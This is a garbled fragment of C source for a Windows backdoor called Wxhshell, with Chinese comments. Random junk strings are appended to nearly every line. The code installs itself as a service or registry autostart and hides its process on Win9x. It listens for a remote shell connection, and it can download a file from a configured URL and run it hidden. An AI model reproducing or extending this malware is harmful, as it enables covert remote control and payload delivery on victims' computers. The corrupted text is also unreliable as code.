ULONG InheritedFromUniqueProcessId; "vCM}F
} PROCESS_BASIC_INFORMATION; OH^N" L
(bOpV>\Q7
PROCNTQSIP NtQueryInformationProcess; f'I z
G.R
p(xC*KWB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `~eX55W
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - K%,^6
)VCzn~uf
HANDLE hProcess; O1 .w,U
PROCESS_BASIC_INFORMATION pbi; |4mpohX
KfBTL!0#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i&njqK!wS
if(NULL == hInst ) return 0; Qu=LnGo~P
uPYmHA}_/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6)oLus
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A7!g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8Y0"Cejq
FJ*i\Q/D
if (!NtQueryInformationProcess) return 0; >e2<!#er|
xvzr:pP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LA_3=@2.H
if(!hProcess) return 0; *`j-i
[s9O0i"
Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6:U$w7P0
e
M
:3u@06a
CloseHandle(hProcess); $F.([?)k?
Xi?b]Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2,lqsd:xM
if(hProcess==NULL) return 0; w;Q;[:y
^8 ' sib
HMODULE hMod; =n^!VXaL]]
char procName[255]; p^(&qk?ut
unsigned long cbNeeded; kc7lc|'z
mzQ`N}]T:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 79\JxiSB
>0{S
CloseHandle(hProcess); U yw-2]!n
s5RjIa0$7
if(strstr(procName,"services")) return 1; // 以服务启动 pLMRwgzr
:Rs^0F8)c
return 0; // 注册表启动 "MIq.@8ra
} ^xf<nNF:p
axHK_1N{
// 主模块 ]$U xCu
int StartWxhshell(LPSTR lpCmdLine) 0-LpqX
{ e*+FpW@
SOCKET wsl; O62b+%~F
BOOL val=TRUE; pV6d
Id
int port=0; K1V#cB
WO
struct sockaddr_in door; [2ax>Yk$
vP7K9Kx
if(wscfg.ws_autoins) Install(); GDYFU*0
9%*wb`&
port=atoi(lpCmdLine); zEZLKWm9-
0!z@2[Pe66
if(port<=0) port=wscfg.ws_port; 0O k,oW{
Qb8KPpd
WSADATA data; ZVeaTK4_
t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zo KcJA
:V2bS
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6t/`:OZC:
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SI:U0gUc
door.sin_family = AF_INET; 9 Pw0m=4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )2,eFNB#n
door.sin_port = htons(port); T[=S$n-'
gyS+9)gY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X(jVRr_m9
closesocket(wsl); /ywD{*
return 1; DmXcPJ[9
} K[chjp!$l
C"lJl k9g^
if(listen(wsl,2) == INVALID_SOCKET) { !_2n
closesocket(wsl); 56l@a{
return 1; ~}K5#<
} 2oJb)CB
Wxhshell(wsl); h7s;m
WSACleanup(); [ofqGwpDG
nW"q
return 0; y*{Zbz#{
%gnM(pxl
} gX{loG
TpA\9N#$
// 以NT服务方式启动 fQLt=Lrp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,@m@S^
{ A`{y9@h(
DWORD status = 0; [![%9'+P
DWORD specificError = 0xfffffff; kt4d;4n
fF*`'i=!
serviceStatus.dwServiceType = SERVICE_WIN32; =h(W4scgqX
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h;5LgAY|v
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iJnU%
serviceStatus.dwWin32ExitCode = 0; \D>$aLO*?
serviceStatus.dwServiceSpecificExitCode = 0; MxzLK%am
serviceStatus.dwCheckPoint = 0; Knhp*V?
serviceStatus.dwWaitHint = 0; q9"=mO0J+
,]}?.g
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >:=|L%]s;\
if (hServiceStatusHandle==0) return; VL9-NfeqR
lyCW=nc
status = GetLastError(); y/V%&.$o=
if (status!=NO_ERROR) GRy-+#,b"
{ =66Nw(E.
serviceStatus.dwCurrentState = SERVICE_STOPPED; kP xa7
serviceStatus.dwCheckPoint = 0; #k3t3az2{
serviceStatus.dwWaitHint = 0; 1Y_w5dU
serviceStatus.dwWin32ExitCode = status; v){ .Z^_C
serviceStatus.dwServiceSpecificExitCode = specificError; jkiTj~WE-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I8OD$`~*U6
return; uS&|"*pR
} Ax oD8|
Iqs+r?
serviceStatus.dwCurrentState = SERVICE_RUNNING; mVtXcP4b
serviceStatus.dwCheckPoint = 0; e&eW|E
serviceStatus.dwWaitHint = 0; 8+mH:O
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S'dV>m`
} 6.t',LTB
I2(zxq&2M\
// 处理NT服务事件,比如:启动、停止 3Rm#-T s
VOID WINAPI NTServiceHandler(DWORD fdwControl) d2X[(3
{ [<`SfE
switch(fdwControl) |%~+2m
{ QrApxiw
case SERVICE_CONTROL_STOP: zF4 [}*
serviceStatus.dwWin32ExitCode = 0; K.gEj*@
serviceStatus.dwCurrentState = SERVICE_STOPPED; @?C#r.vgp
serviceStatus.dwCheckPoint = 0; * y^OV_n-8
serviceStatus.dwWaitHint = 0; Cw5%\K$=
{ co_oMc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !~_zm*CqbZ
} tgL$"chj@x
return; Y+/JsOD
case SERVICE_CONTROL_PAUSE: D .vw8H3
serviceStatus.dwCurrentState = SERVICE_PAUSED; FZB~|3eq{
break; $ _8g8r}
case SERVICE_CONTROL_CONTINUE: <"o"z2
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,wwZI`>-
break; > Oh?%%6
case SERVICE_CONTROL_INTERROGATE: ozsxXBh-`'
break; X5YiFLH>y\
}; ThW,Y"
l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @1zQce>
} cYNJhGY
qDWsvx]
// 标准应用程序主函数 |L_wX:d`9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eMK+X \
{ Ou'?]{
TJ?g%
// 获取操作系统版本 PR<||"03
OsIsNt=GetOsVer(); J H.K.C(
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7dihVvL
$
Q bhW!9(,
// 从命令行安装 H* !EP
if(strpbrk(lpCmdLine,"iI")) Install(); 3#wcKv%>&_
v"+k~:t*
// 下载执行文件 59(U `X
if(wscfg.ws_downexe) { C@o%J.9"#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (_*
wt]"'
WinExec(wscfg.ws_filenam,SW_HIDE); A`O <6
} +.[\g|G
`Lyq[zg8
if(!OsIsNt) { KsAH]2Q%
// 如果时win9x,隐藏进程并且设置为注册表启动 F=G{)*Ih
HideProc(); *X%m@KLIKv
StartWxhshell(lpCmdLine); P+e KZo
} m}VM+=
else Z.Rb~n&
if(StartFromService()) c*\<,n_
// 以服务方式启动 b7C
e%Br
StartServiceCtrlDispatcher(DispatchTable); U7&x rif
else "rXOsX\;
// 普通方式启动 UVf\2\ Y
StartWxhshell(lpCmdLine); IL7`0cN(
jW*1E*"
return 0; :ZdUx
}